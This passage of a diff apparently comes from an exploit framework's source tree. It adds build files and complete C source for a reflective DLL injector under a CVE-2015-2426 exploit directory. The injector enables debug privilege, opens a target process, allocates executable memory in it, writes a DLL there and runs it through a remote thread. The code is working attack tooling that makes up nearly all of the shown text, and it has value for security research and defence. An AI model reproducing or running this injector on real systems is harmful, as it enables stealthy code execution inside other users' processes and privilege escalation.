WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + ../common + + + true + Console + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + ../common + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + true + Console + true + true + MachineX86 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + ../common + + + true + Console + true + true + $(OutDir)inject.arm.exe + %(AdditionalDependencies) + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters similarity index 57% rename from external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters rename to external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters index fe135862f2..5482d5ae49 100755 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters +++ b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters @@ -1,39 +1,35 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - Source Files - - + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c new file mode 100755 index 0000000000..9cd83059fa --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h new file mode 100755 index 0000000000..20835ec477 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/inject/src/Inject.c b/external/source/exploits/CVE-2015-2426/inject/src/Inject.c new file mode 100755 index 0000000000..df5f552031 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef _WIN64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c new file mode 100755 index 0000000000..f26da7e59c --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c @@ -0,0 +1,233 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef _WIN64 + DWORD dwMeterpreterArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwMeterpreterArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwMeterpreterArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwMeterpreterArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + // Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only. + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h new file mode 100755 index 0000000000..bb14a90ebc --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/rdi.sln b/external/source/exploits/CVE-2015-2426/rdi.sln new file mode 100755 index 0000000000..48a6d7b81f --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/rdi.sln @@ -0,0 +1,44 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + 